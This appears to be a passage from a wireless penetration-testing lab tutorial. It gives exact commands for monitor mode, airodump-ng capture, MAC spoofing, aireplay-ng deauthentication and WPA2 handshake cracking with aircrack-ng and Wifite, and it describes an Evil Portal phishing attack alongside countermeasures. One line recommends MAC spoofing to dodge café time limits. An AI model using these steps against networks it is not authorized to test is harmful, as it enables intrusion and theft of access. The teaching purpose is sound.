href="https://www.amazon.com/ALFA-AWUS036ACH-%E3%80%90Type-C%E3%80%91-Long-Range-Dual-Band/dp/B08SJC78FH/ref=sr_1_fkmr0_1?crid=1ZMOD36EKP0V8&amp;dib=eyJ2IjoiMSJ9.tBB5XjJ_0M9Qs8bcDXLUM5qjpISfdvpsRAteUZGpHRU.SZRlbtuHbpLGsS3Vj3I_Q0lRlHnGhQQTKr2w8wwb2CQ&amp;dib_tag=se&amp;keywords=alfa+awuso36neh&amp;qid=1729995043&amp;sprefix=,aps,62&amp;sr=8-1-fkmr0">【New Version Type-C WiFi USB】 ALFA AWUS036ACH Long-Range Dual-Band AC1200 Wireless Wi-Fi Adapter w/2x 5dBi External Antennas - 2.4GHz 300Mbps/5GHz 867Mbps - 802.11ac &amp; A, B, G, N</a></p><h3>Set Up a Wireless Adaptor on a Kali VM in VirtualBox</h3><ol><li>Plug in the USB Wifi Adaptor.</li><li>In the settings for the Kali VM add a network adaptor in bridged mode.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JO55UCCRSsk-3GoLeU_edQ.png" /></figure><p>3. After starting the VM go to Devices and select the wireless adaptor. Note that the name of the adaptor may not be vendor name, it may be the vendor of the chipset used in the adaptor name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75GFdN6Ts_ZehWfDAkoarQ.png" /></figure><p>4. Confirm the adaptor is connected to Kali by running the command below:</p><pre>sudo airmon-ng</pre><p>5. If it does not appear, run the command below and retry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1AGStWAU-99yTieVvym8Pg.png" /></figure><pre>sudo ifconfig wlan0 up</pre><p>6. You can also run iwconfig to see the wireless adaptors.</p><pre>iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2LlEkXujqHTUtfTzmOK7w.png" /></figure><p>7. Change the mode of the adaptor from “Managed” to “Monitor”. Monitor mode is the same as promiscious mode. Run the command below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7hOyLpR794ccru1ZS85-A.png" /></figure><p>As seen above, if there is a conflict select “y” for airmon-ng to correct it.</p><p>8. Confirm it is in “Monitor” mode by running iwconfig again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AktLMVZtXuwr1qOKVUPLOQ.png" /></figure><h3><strong>Setting Up the Access Point</strong></h3><p>This section walks through the process of configuring a WPA2 access point — covering how to create a secure password and set up a wireless network that will be used for practice in the upcoming steps, where the WPA2 password will be cracked using Aircrack-ng and Wifite.</p><p><strong>Step 1: Access Your Router</strong><br> Open a web browser and log into your wireless router. Navigate to the wireless settings and enable the 2.4 GHz radio. If your router supports both 2.4 GHz and 5 GHz bands, configure the network on 2.4 GHz, as most wireless hacking adapters operate on that frequency.</p><p><strong>Step 2: Configure the Network</strong><br> Set the network name to <strong>ECorpNet</strong>. Leave the channel selection on automatic, then scroll down to the security section and select <strong>WPA2</strong>.</p><p><strong>Step 3: Set a Strong Password</strong><br> Choose a password for the network. While a simple password like “password” could be used, it would not demonstrate much. Instead, use something slightly more complex — in this case, <strong>“DarkArmy”</strong>. Keep in mind that any password found in a wordlist can still be cracked through a dictionary attack. For demonstration purposes, this password has been deliberately included in the wordlist that will be used later to show exactly how the attack works.</p><p><strong>Step 4: Apply Settings</strong><br>Once all settings have been reviewed, click <strong>Apply</strong> to save the configuration. After the router finishes updating, the <strong>ECorpNet</strong> network should appear as an available wireless network.</p><p>With the access point configured, the next step is to use Aircrack-ng to crack the WPA2 password.</p><h4><strong>Wireless Scanning</strong></h4><p>This section covers how to detect available wireless networks using Kali Linux, including how to connect to a network when valid credentials are available — credentials that will be captured and cracked in later steps. First, let’s get familiar with the basics.</p><p><strong>Step 1: Check Your Wireless Card Status</strong><br> Before scanning, confirm that your wireless adapter is recognized and operational. Run the following command to list available network interfaces:</p><pre>ifconfig</pre><p>This command displays all network interfaces, including wired and loopback interfaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QACwNrvQ9M-AG1bOIza0vQ.png" /></figure><p>For more detailed wireless information, use the iwconfig command:</p><pre>iwconfig</pre><p>Unlike general network commands, iwconfig focuses exclusively on wireless interfaces, displaying details such as frequency, signal strength, and operating mode. This confirms whether your wireless adapter is active and whether it is currently in monitor mode.</p><p>In the example below, two wireless network cards are visible — one is the built-in adapter on the laptop, and the other is an <strong>Alfa card</strong> that will be used for the wireless attacks in this exercise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EVDCSoTrKUwixM0wiBCPBg.png" /></figure><h3>Step 2: Use Airodump-ng to Scan for Networks</h3><p>To start scanning for nearby wireless networks, we’ll use airodump-ng:</p><pre>sudo airodump-ng wlan1</pre><p>After approximately 30 to 45 seconds, airodump-ng will display a list of all detected wireless networks in range. The output includes key details such as the network name (SSID), BSSID, signal power level, channel, and encryption type. Networks with signal values closer to zero are in close proximity, while higher negative values indicate networks that are further away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOkzAS9RuHsb3eqlPSvMpA.png" /></figure><h4><strong>Interpreting Airodump-ng Results</strong></h4><p>The output is organized into several columns, each providing useful information about detected networks:</p><ul><li><strong>BSSID: </strong>the MAC address of each access point.</li><li><strong>Power: </strong>the signal strength; values closer to zero indicate a stronger, nearby signal.</li><li><strong>Beacons: </strong>the number of beacon frames broadcast by each network.</li><li><strong>Data: </strong>the volume of data traffic transmitted on each network.</li><li><strong>Channel: </strong>the channel the network is operating on, commonly 1, 6, or 11 on the 2.4 GHz band.</li><li><strong>Speed: </strong>the maximum supported speed; 54 Mbps or higher indicates modern standards such as Wireless G or N.</li><li><strong>Encryption: </strong>the security protocol in use, such as WPA2 or WEP.</li><li><strong>ESSID: </strong>the human-readable network name, such as “ECorpNet.”</li></ul><p>These details allow you to identify potential target networks based on their proximity and security configuration.</p><h4><strong>Client Connections</strong></h4><p>Below the main network list, airodump-ng also displays a section showing clients currently connected to each access point. The station MAC address shown corresponds to a device connected to the BSSID of a particular access point. This information is useful for targeting specific clients or networks during further analysis.</p><h4><strong>Connecting to a Network in Kali</strong></h4><p>Once valid credentials for a network have been obtained, which will be covered in later steps — connecting is straightforward. Click the Wi-Fi icon in the upper-right corner of the Kali desktop, select the target network, and enter the password. This will become relevant once the process of capturing and cracking network credentials has been completed.</p><p>In the next section, the wireless adapter will be configured for promiscuous mode, enabling it to capture all traffic on the network for penetration testing purposes.</p><h4>Promiscuous Mode</h4><p>This section covers promiscuous mode, what it is, why it matters, and how to switch your wireless adapter between promiscuous and managed mode.</p><p>To start, check the current status of your wireless adapter in Kali Linux using the iwconfig command. Under wlan0, the mode will appear as &quot;Managed&quot; by default. There are two key modes to be aware of — managed and monitor. Monitor mode is what is commonly referred to as promiscuous mode, and understanding the difference between the two is essential for wireless penetration testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CTAmXhHx-wOPCWM58ljwLg.png" /></figure><p>Every wireless adapter has a MAC address, and normally it only listens for traffic addressed to its own MAC. Think of it like walking into a crowded bar. If I call out “Hey Elliot,” only Elliot will respond because he’s listening for his name. Similarly, in managed mode, your network card listens only for traffic meant for its MAC address, ignoring everything else.</p><p>Promiscuous mode, however, allows your network card to capture all traffic, whether it’s addressed to you or not. This is crucial for penetration testing, as it lets you eavesdrop on all network traffic and gather valuable data.</p><p>Now, how do we enable promiscuous mode? One way is by shutting down the network card using ifconfig wlan1 down, then changing its mode to monitor with iwconfig wlan1 mode monitor. After verifying with iwconfig, you can turn the card back on with ifconfig wlan1 up. In monitor mode, you can capture all data from the airwaves. If you want to switch back to managed mode, simply reverse the process: shut the card down, set the mode to managed, and bring it back up.</p><pre>sudo ifconfig wlan1 down</pre><pre>sudo iwconfig wlan1 mode monitor</pre><pre>sudo iwconfig</pre><pre>sudo ifconfig wlan1 up</pre><h3>Hunting for Networks</h3><p>In this section, we’ll explore how to find networks, including those broadcasting openly and those hidden from view. Previously, we used airodump-ng to scan for networks which were openly broadcasting their names. But how do you detect hidden networks? That’s what I’ll show you in this section.</p><p>First, let’s open our Kali terminal. As always, begin by checking the status of your wireless card with iwconfig. If it is not in monitor mode, change it following the instructions above.</p><p>Next, run airodump-ng wlan1 to scan for networks. You’ll see a list of visible networks, but also some hidden networks. Hidden networks won’t broadcast their names; instead, they appear with entries like &quot;length zero,&quot; &quot;length 22,&quot; and &quot;length 21&quot; in the ESSID column. These represent hidden networks, with the length indicating their encryption status. For example, &quot;length 0&quot; is an open network, while &quot;length 22&quot; and &quot;length 21&quot; are WPA2 networks using AES-CCMP encryption.</p><pre>airodump-ng wlan1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iT8PQmJ43Osz3GmATfZHpA.png" /></figure><h4><strong>Why Are These Networks Hidden?</strong></h4><p>In penetration testing, hidden networks are of particular interest. If someone has gone out of their way to conceal their network, it is either for security reasons or something more covert — and either way, it warrants further investigation. Before proceeding, always verify your rules of engagement and confirm that hidden networks fall within the agreed scope of the engagement. They are prime targets during a penetration test precisely because they are intentionally trying to avoid detection.</p><p>The good news is that you do not need to know the network name (SSID) to launch an attack against a hidden network. The BSSID, the MAC address of the access point is all that is needed for most attack techniques. For example, a hidden network displaying “length 0” can be targeted directly using its MAC address, such as F8:BB:BF:F9:72:69. The next section will cover how to attack these networks, including attempting to crack WPA2 passwords.</p><h3><strong>Information Gathering with Airodump-ng</strong></h3><p>This section explores how to use airodump-ng to monitor a specific network, gather detailed information, and capture traffic for further analysis and exploitation.</p><p>Back in Kali Linux, start by launching airodump-ng with the following command:</p><pre>airodump-ng wlan1</pre><p>Since the adapter is still in monitor mode, this will immediately begin scanning for nearby networks and display key details including the BSSID, signal strength, network speed, channel, encryption type, and network name. Connected client devices are also listed at the bottom of the output, giving a clear picture of who is currently active on each network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yE2S_nsn5lcMB9ckWO25rg.png" /></figure><p>To focus on a specific network and capture its traffic, the scan needs to be narrowed down to a single target using its MAC address. As highlighted earlier, the BSSID (MAC address) is essential to this process.</p><p>First, stop the current scan by pressing <strong>Ctrl + C</strong>to return to the command prompt. To capture traffic from a specific network, run the following command:</p><pre>airodump-ng --channel 11 --bssid E4:95:6E:4A:7A:26 -w EcorpNet_data wlan1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNrNMnKAUil8f9Kaark6Ow.png" /></figure><p>This command specifies the channel, the MAC address of the network, the output file name, and the card in use (wlan1). Once you run it, the tool will focus on the selected network, capturing its traffic and saving it to a file on your system. You’ll see the beacons and data counts increasing as it captures information.</p><p>To find where this data is stored, run ls in the home directory, you’ll see the captured files, including .cap, .csv, and kismet files. The .cap file is the key one for us—it contains the captured traffic that we’ll later analyze with tools like Wireshark or aircrack-ng to attempt breaking the network’s encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*135uKMyOJvrZHGoMrP24lA.png" /></figure><p>If you are conducting a real penetration test, you will want to capture data over an extended period, particularly for WPA2 networks, which require a sufficient volume of traffic for a successful attack. The time needed will vary depending on how many devices are connected to the network and how actively they are communicating.</p><p>If you need a reminder of the available command options, access the help file by running:</p><pre>airodump-ng --help</pre><p>This displays all available options, such as saving initialization vectors (useful for WEP cracking), recording beacon frames, or filtering by a specific BSSID or channel to keep the capture file size manageable.</p><h3><strong>MAC Spoofing</strong></h3><h4><strong>Changing Your MAC Address</strong></h4><p>This section covers what MAC addresses are, how they are used in network security, and how to change your MAC address to impersonate another device on the network.</p><h4><strong>What is a MAC Address?</strong></h4><p>Every network card, whether wired or wireless has a unique MAC (Media Access Control) address. This 12-digit hexadecimal identifier operates at <strong>Layer 2</strong> of the OSI model, where switches use it to track which devices are connected to which ports. The first six digits identify the manufacturer, while the last six digits serve as a unique identifier for the specific device, essentially a serial number.</p><p>For example, a MAC address such as AC:DE:48:11:3A:DE breaks down as follows: AC:DE:48 identifies the manufacturer (in this case, Apple), and 11:3A:DE is the unique device identifier.</p><h4><strong>MAC Address in Kali Linux</strong></h4><p>To view the MAC address of wlan1 (the USB wireless adapter) in Kali Linux, run the following command:</p><pre>macchanger -s wlan1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b5T74sjGCRiGLLlswOc-KQ.png" /></figure><p>The command is used to <strong>display the current MAC address</strong> of the network interface wlan1. Here’s what it’s doing step-by-step:</p><ol><li><strong>macchanger</strong>: This tool is specifically designed for changing and managing MAC addresses.</li><li><strong>s</strong>: This option stands for “show.” It tells macchanger to display the current MAC address information without making any changes.</li><li><strong>wlan1</strong>: This specifies the network interface you want to view. wlan1</li></ol><p>In summary, macchanger -s wlan1 will output the current MAC address of wlan1, including both the current and permanent (original) MAC addresses.</p><h3>Changing Your MAC Address with Macchanger</h3><p>To hide or change your MAC address, use to randomize or manually set a MAC address to conceal your real one.</p><ol><li><strong>Check Current MAC Address</strong>:</li></ol><pre>macchanger -s wlan1</pre><p>2. Bring the Interface Down: Before changing the MAC, bring the interface down:</p><pre>ifconfig wlan1 down</pre><p>3. Randomize the MAC Address:</p><p>Use the rflag with macchanger to set a random MAC:</p><pre>macchanger -r wlan1</pre><p>OR</p><p>Manually Set a MAC Address: To impersonate another device’s MAC address, use:</p><pre>macchanger -m [TARGET MAC] wlan1</pre><p>4. Bring the Interface Up: After changing the MAC, bring the interface back up:</p><pre>ifconfig wlan1 up</pre><p>This process allows you to appear as a different device on the network, which can help evade detection or access networks with MAC-based filtering.</p><h3>Mr. Robot Scenario with Airodump-ng</h3><p>We will use airodump-ng to scan for ECorpNet and connected devices:</p><pre>airodump-ng wlan1</pre><p>This tool shows available networks and connected clients. If you want to impersonate a device on a specific network, identify the device’s MAC address, copy it, and set it as your own using macchanger. This can allow you to bypass MAC filtering, a common security feature that restricts network access based on authorized MAC addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UzLiYTAL7pLLjHn6QG9B0g.png" /></figure><p>We will now change our MAC address to match the one that is connected to ECorpNet. This will allow us to by-pass MAC filtering.</p><pre>ifconfig wlan1 down</pre><pre>macchanger -m 98:43:FA:93:41:30 wlan1</pre><pre>ifconfig wlan1 up</pre><h4><strong>Practical Uses of MAC Address Spoofing</strong></h4><p>MAC spoofing has several practical applications in penetration testing, including:</p><ul><li><strong>Bypassing time-limited networks: </strong>such as those found in cafes or hotels by changing your MAC address to reset the session timer and regain access.</li></ul><p>Scanning the airwaves in more detail using airodump-ng will be covered further to identify available networks and potential targets for penetration testing.</p><h3><strong>WPA and WPA2</strong></h3><p>This section covers the fundamentals of WPA and WPA2 security. A WPA2 access point will be set up, and two methods will be used to break into it:</p><ol><li>Using <strong>Aircrack-ng</strong></li><li>Using <strong>Wifite.py</strong></li></ol><h4><strong>WPA 4-Way Handshake</strong></h4><p>The WPA 4-Way Handshake is a critical process that takes place when a client device such as a laptop or smartphone connects to a Wi-Fi network secured with WPA or WPA2 using either Pre-Shared Key (PSK) or Enterprise mode. Its purpose is to securely authenticate the client to the access point and establish the encryption keys that will be used to protect data transmission between the two devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nXi9Q4ZA-fCulM3fn-wIAg.png" /></figure><p><strong>Step-by-Step Breakdown of the WPA 4-Way Handshake</strong></p><h3><strong>Initialization</strong></h3><p>Before the handshake begins, both the client and the access point already share knowledge of the PSK (Pre-Shared Key) or, in enterprise environments, the relevant authentication credentials. Both parties independently derive a <strong>Pairwise Master Key (PMK)</strong> from the PSK, which serves as the foundation for the session keys generated during the handshake.</p><p><strong>Step 1: Access Point Sends an ANonce</strong><br>The access point generates a random value called an <strong>ANonce</strong> (Access Point Nonce) and sends it to the client. This randomly generated number is used only once per session, adding unpredictability to the key generation process and protecting against replay attacks.</p><p><strong>Step 2: Client Generates the PTK and Sends an SNonce</strong><br> Upon receiving the ANonce, the client generates its own random value the <strong>SNonce</strong> (Supplicant Nonce). Using both nonces, the PMK, and the MAC addresses of both devices, the client calculates a <strong>Pairwise Transient Key (PTK)</strong>, which will be used to encrypt data for the session. The client then sends its SNonce back to the access point along with a <strong>Message Integrity Code (MIC)</strong> to verify the integrity of the exchange.</p><p><strong>Step 3: Access Point Verifies the PTK and Installs Keys</strong><br> The access point uses the received SNonce, combined with its own ANonce, to independently calculate the same PTK. It then verifies the MIC to confirm the integrity and correctness of the client’s message. If verification succeeds, the access point installs the encryption keys and sends a confirmation message to the client that includes a <strong>Group Temporal Key (GTK)</strong> for handling multicast and broadcast traffic.</p><p><strong>Step 4: Client Verifies and Installs the GTK</strong><br> The client receives the final confirmation message, installs the GTK, and completes the handshake. At this point, both the client and the access point hold identical encryption keys and are ready to begin secure, encrypted communication.</p><h4><strong>Purpose and Importance of the 4-Way Handshake</strong></h4><ul><li><strong>Mutual Authentication: </strong>confirms that both parties know the pre-shared key without ever transmitting it over the air.</li><li><strong>Session Key Derivation:</strong> uses random nonces combined with the PMK to generate a unique PTK for every session, making decryption significantly more difficult.</li><li><strong>Encryption Setup: </strong>ensures that each session uses its own unique keys, preventing attackers from reusing captured keys across different sessions.</li></ul><h4><strong>Vulnerabilities and Attacks</strong></h4><ul><li><strong>Handshake Capture</strong>: an attacker who captures the 4-way handshake packets can perform an offline dictionary or brute-force attack against the PSK. If the password is weak or commonly used, it can be cracked.</li><li><strong>PMKID Attack:</strong> in some network configurations, an attacker can capture the PMKID without waiting for a full handshake, simplifying the offline cracking process.</li></ul><h3><strong>WPA2 and Encryption</strong></h3><p>WPA2 relies on <strong>AES (Advanced Encryption Standard)</strong> for encrypting wireless traffic, supporting key sizes of 128-bit and 256-bit. AES encryption itself is extremely robust and not a practical target for attack. The real vulnerability in WPA2 lies not in the encryption algorithm but in the strength of the network password.</p><h4><strong>Breaking WPA2 Security</strong></h4><p>While WPA2 with AES-CCMP provides strong encryption, a weak or commonly used password is all an attacker needs to gain access. The following password-cracking techniques will be explored in the upcoming steps:</p><ul><li><strong>Brute-force attacks: </strong>systematically attempting every possible password combination until the correct one is found.</li><li><strong>Dictionary attacks: </strong>testing passwords from a precompiled wordlist of commonly used or likely passwords.</li><li><strong>Rainbow tables</strong>: a more efficient variation that uses pre-computed password hashes to speed up the cracking process.</li></ul><p>Understanding these methods is essential for attacking modern WPA2 networks. Let’s get started.</p><h3><strong>Brute-Force vs Dictionary Attacks</strong></h3><p>This section breaks down the difference between brute-force and dictionary attacks and identifies which approach will be used to crack WPA2.</p><h4><strong>Brute-Force Attacks</strong></h4><p>A brute-force attack works by systematically attempting every possible password combination until the correct one is found. The key advantage is that it will always succeed eventually, but the major drawback is that there is no way to predict how long it will take. Short passwords may be cracked quickly, while longer and more complex ones can take an impractically long time.</p><p>As a simple illustration, consider a three-character password made up of numbers, letters, and special characters. A brute-force attack would start at “aaa,” move to “aab,” and work through every possible combination. A three-character password like “BAD” might require around 680 attempts — trivial for a computer, but time-consuming for a human. To defend against brute-force attacks, passwords should be long and complex, mixing uppercase and lowercase letters, numbers, and special characters. The more complex the password, the longer it takes to crack, potentially billions of years with current computing power.</p><h4><strong>WPA2 and Brute-Force Attacks</strong></h4><p>WPA2 uses a 128-bit AES encryption key, which is exceptionally secure. Attacking the key directly is not feasible, the number of possible combinations is approximately 3.4 x 1⁰³⁸. Instead, attackers focus on the password chosen by the user, particularly if it is weak or predictable. While brute-force attacks will eventually crack any password, the time required makes a more efficient approach preferable — the dictionary attack.</p><h4><strong>Dictionary Attacks</strong></h4><p>A dictionary attack uses a precompiled wordlist of likely passwords rather than trying every possible combination. Instead of working through the entire character space, it tests common words, phrases, and passwords that users are likely to choose — making the process significantly faster.</p><p>The effectiveness of a dictionary attack depends entirely on the quality of the wordlist. Wordlists are often built from previous penetration tests and real-world password leaks, and commonly include passwords such as “password,” “love,” or “god.” Tools like Aircrack-ng hash each candidate password from the list and compare it against the captured hash to find a match.</p><h4><strong>Rainbow Tables</strong></h4><p>To accelerate dictionary attacks further, attackers can use <strong>rainbow tables, </strong>precomputed tables of password hashes. Rather than hashing each candidate password in real time, the attacker simply looks up the hash in the table, dramatically reducing the time needed to crack a password.</p><h4><strong>Modern Passwords and Dictionary Variations</strong></h4><p>As passwords have grown more complex — incorporating special characters, numbers, and leetspeak substitutions such as replacing “a” with “@” or “e” with “3” — wordlists have evolved accordingly. Modern dictionaries include these variations, meaning a password like “D@rkArmy” may still be crackable if the relevant substitution patterns are covered in the list. Some dictionaries contain billions of entries, including common words with every common variation, making them highly effective against all but the most random passwords.</p><blockquote><strong>Summary</strong></blockquote><blockquote>Brute-force attacks are guaranteed to work but can be extremely slow. Dictionary attacks are much faster but depend on the quality of the wordlist. Combined with rainbow tables and modern wordlists that account for character substitutions, dictionary-based methods have become highly effective — especially against weak or commonly used passwords. The next section will apply these techniques in practice using a configured WPA2 access point.</blockquote><h3><strong>Cracking WPA2 with Aircrack-ng</strong></h3><p>This section demonstrates how to capture a WPA/WPA2 handshake, force a client to reconnect using a deauthentication attack, and then crack the captured handshake using a dictionary attack.</p><h4><strong>Step 1: Prepare a Wordlist</strong></h4><p>Before launching the attack, a wordlist is needed for the dictionary attack. Kali Linux comes with several preinstalled wordlists. Navigate to the directory containing them:</p><pre>cd /usr/share/wordlists</pre><p>The popular <strong>rockyou.txt</strong> is compressed, so we’ll need to unzip it using the following command:</p><pre>gzip -d rockyou.txt.gz</pre><p>Once uncompressed, you can open the file in a text editor to examine its contents. For example, open it using nano:</p><pre>nano rockyou.txt</pre><p>This file contains millions of common passwords, starting with the most frequent ones like “123456” and “password.” If your password isn’t in the dictionary, you won’t be able to crack it using this file. For demonstration purposes, you could add your target password (e.g., “DarkArmy”) to the list by navigating to a specific line (e.g., line 15,000) and adding it there. Save and exit the text editor.</p><h4>Step 2: Set Up Monitor Mode</h4><p>Next, we need to ensure our wireless card is in monitor mode. Use the following command to check the current mode:</p><pre>iwconfig</pre><p>If the adaptor is not in monitor mode, refer to earlier instructions to place it in monitor mode.</p><h4>Step 3: Capture the Handshake</h4><p>Now we need to capture traffic from the target network. Start scanning for networks with:</p><pre>sudo airodump-ng wlan1</pre><p>Once you identify the target network (e.g., “EcorpWPA2”), note the channel and BSSID (MAC address). Stop the scan with <strong>Ctrl+C</strong>, and begin capturing traffic from that network with:</p><pre>sudo airodump-ng --channel 11 --bssid E4:95:6E:4A:7A:26 -w aircrack-01 wlan1</pre><p>This command will start capturing data only from the specified channel and BSSID, saving the traffic to a file (e.g., “Ecorp.dump”). You’ll see the access point and any associated clients.</p><h4>Step 4: Perform a Deauth Attack</h4><p>If there’s a client connected, we can force it to disconnect and reconnect, which will allow us to capture the handshake. Open a new terminal window and run the following deauth attack:</p><pre>sudo aireplay-ng --deauth 0 -a E4:95:6E:4A:7A:26 -c 98:43:FA:93:41:30 wlan1</pre><p>This attack will send deauth packets to the client, temporarily disconnecting it. Once the client reconnects, we’ll capture the handshake. After running the deauth for 10–15 seconds, stop the attack and check the capture file to see if the handshake was obtained.</p><h4>Step 5: Crack the Handshake</h4><p>Now that we’ve captured the handshake, we can attempt to crack the password using the word list. Clear your screen and navigate to the directory containing the capture file. Run the following command:</p><pre>aircrack-ng -w /usr/share/wordlists/rockyou.txt -b E4:95:6E:4A:7A:26  aircrack-01.cap</pre><p>Aircrack-ng will begin trying passwords from the word list. If you placed your password (e.g., “DarkArmy”) in the dictionary, it should find the correct password quickly. In our example, it found the password in a few seconds.</p><p>If the password isn’t in the dictionary, Aircrack-ng will continue to run, and it could take several hours depending on the size of the word list.</p><h4>Conclusion</h4><p>By using Aircrack-ng and a dictionary attack, we were able to crack the WPA2 password. If the dictionary attack fails, you might need a more extensive word list. In the next section, we’ll demonstrate how to crack WPA2 using the Wifite.py tool, which simplifies the process even further.</p><h3>Cracking WPA2 with <a href="http://wifite.py/">Wifite.py</a></h3><p>In this video, we’ll explore how to crack WPA and WPA2 networks using Wifite.py. You’ll see how much easier and faster it is compared to manually using aircrack-ng. Let’s dive into our Kali Linux terminal and get started.</p><h4>Step 1: Explore Wifite’s Options</h4><p>Before proceeding, let’s explore Wifite’s options by typing:</p><pre>wifite -h</pre><h4>Step 2: Launch the WPA2 Attack</h4><p>Now we’re ready to launch the attack. We’ll specify the wordlist we want to use for the dictionary attack (in this case, the rockyou.txt file). Run the following command:</p><pre>wifite --dict /usr/share/wordlists/rockyou.txt</pre><p>Wifite will begin scanning for nearby wireless networks and display them in a numbered list. Once the target network is identified, in this case <strong>ECorpWPA2</strong> press <strong>Ctrl+C</strong> to stop the scan and select the network by entering its corresponding number. Wifite will then begin attempting to capture a WPA2 handshake by monitoring for active clients and launching a deauthentication attack if needed.</p><h4><strong>Step 4: Capture the Handshake</strong></h4><p>Wifite automatically sends deauthentication packets to connected clients, forcing them to disconnect and reconnect — triggering the WPA2 handshake in the process. If the first deauth attempt does not succeed, Wifite will continue retrying until the handshake is successfully captured. Once obtained, Wifite passes the handshake directly to <strong>Aircrack-ng</strong> and begins cracking the password using the specified wordlist.</p><h4><strong>Step 5: Cracking the Password</strong></h4><p>Within a matter of minutes, Wifite successfully cracks the WPA2 password using the rockyou.txt dictionary. The process is fast and straightforward, particularly when the target password is included in the wordlist.</p><blockquote><strong>Conclusion</strong></blockquote><blockquote>Wifite significantly simplifies the WPA2 cracking process by automating many of the steps that would otherwise need to be performed manually with individual tools. Selecting the right options from the interface is all that is required, making it a highly efficient tool for penetration testers. While understanding the manual process remains important, tools like Wifite accelerate the workflow considerably and handle much of the technical heavy lifting automatically.</blockquote><h3>Evil Portal</h3><p>The <strong>Evil Portal attack</strong> using a WiFi Pineapple is a form of <strong>phishing</strong> attack, where a malicious actor sets up a rogue access point (AP) to trick users into connecting and revealing sensitive information, such as login credentials. The WiFi Pineapple is a specialized device designed for penetration testing and network auditing, but it can be used to facilitate attacks like Evil Portal. Here’s a step-by-step explanation of how the Evil Portal attack works:</p><h4>How the Evil Portal Attack Works</h4><ol><li><strong>Rogue Access Point (AP) Setup</strong><br>The attacker sets up the WiFi Pineapple to create a rogue access point that imitates a legitimate Wi-Fi network. This AP might have the same SSID (network name) as a known public Wi-Fi (e.g., a coffee shop or hotel Wi-Fi), tricking victims into connecting to it instead of the legitimate network.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMfpdi4INFQfHQe4zMk2WQ.png" /></figure><p>2. Victim Connects to the Fake AP Once the rogue AP is running, users nearby who see the familiar SSID might connect to it, especially if the attacker disables the legitimate AP through a deauthentication attack, forcing users to reconnect to the stronger, rogue signal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVo5O7TT9XZw6C1h9CnvEA.png" /></figure><p>3. Captive Portal Presentation When the victim connects to the rogue AP, they are redirected to a captive portal. A captive portal is a web page that users typically see when accessing public Wi-Fi networks, asking them to log in or accept terms and conditions. However, in the Evil Portal attack, this page is malicious and designed to look like a legitimate login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkNZW7xHtyasPaTji8bfLw.png" /></figure><p>4. Phishing for Credentials The captive portal appears legitimate (e.g., a login page for a social media site, corporate portal, or public Wi-Fi authentication page). The victim is prompted to enter their credentials (e.g., username, password, or other sensitive information).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_z-BtiOmNo1TstxarWQGtA.png" /></figure><p>4. Data Capture Once the victim enters their credentials, the information is captured by the WiFi Pineapple, which logs the data for the attacker. This data can then be used for further attacks, such as account takeovers or accessing private networks.</p><h4><strong>Key Components of the Attack</strong></h4><ul><li><strong>WiFi Pineapple: </strong>the device used to create the rogue access point. It is purpose-built for penetration testers and comes equipped with modules and tools that make executing wireless attacks, including Evil Portal, straightforward and efficient.</li><li><strong>Evil Portal Module: </strong>a module available for the WiFi Pineapple that enables attackers to create and serve custom captive portals. It can be used to clone legitimate login pages or build custom phishing pages designed to harvest credentials.</li><li><strong>Deauthentication Attack:</strong> to increase the likelihood of victims connecting to the rogue access point, attackers send deauthentication frames to devices connected to legitimate networks, forcing them to disconnect. The victim’s device may then automatically reconnect to the rogue AP if its signal appears stronger.</li></ul><h4><strong>Countermeasures and Prevention</strong></h4><ol><li><strong>Avoid Untrusted Wi-Fi Networks</strong>: exercise caution when connecting to public or unfamiliar wireless networks, particularly those that lack proper authentication mechanisms.</li><li><strong>Use a VPN:</strong> a Virtual Private Network encrypts your traffic end-to-end, making it significantly harder for an attacker to intercept sensitive data even if you are connected to a rogue access point.</li><li><strong>Check for HTTPS</strong>: websites using SSL/TLS certificates encrypt communication between the user and the server. Always verify that the URL begins with “https://” before entering credentials on any site.</li><li><strong>Enable Two-Factor Authentication (2FA): </strong>even if credentials are captured, 2FA provides an additional layer of protection, making it much harder for an attacker to gain full access to an account.</li><li><strong>Wireless Intrusion Detection Systems (WIDS):</strong> these systems monitor the wireless environment for rogue access points and deauthentication attacks, alerting network administrators to potential Evil Portal activity before significant damage occurs.</li></ol><blockquote><strong>Summary</strong></blockquote><blockquote>The Evil Portal attack using a WiFi Pineapple is a highly effective wireless phishing technique that tricks users into submitting sensitive credentials through a convincing fake login page. By combining a rogue access point with a cloned captive portal and a deauthentication attack, an attacker can silently harvest usernames, passwords, and other private data. Defending against this type of attack requires a combination of user awareness, encrypted traffic, strong authentication practices, and active wireless monitoring.</blockquote><h3><strong>Conclusion</strong></h3><p>Phase 4 of the Mr. Robot cybersecurity exercise has demonstrated how wireless networks can serve as a powerful attack vector when security controls are poorly configured or users are insufficiently aware of the risks. From the red team perspective, the attack chain explored in this phase, spanning MAC address spoofing, WPA2 handshake capture and cracking, and the deployment of a rogue Evil Portal access point — illustrates how an attacker can gain unauthorized access to a secured wireless network and manipulate users into surrendering their 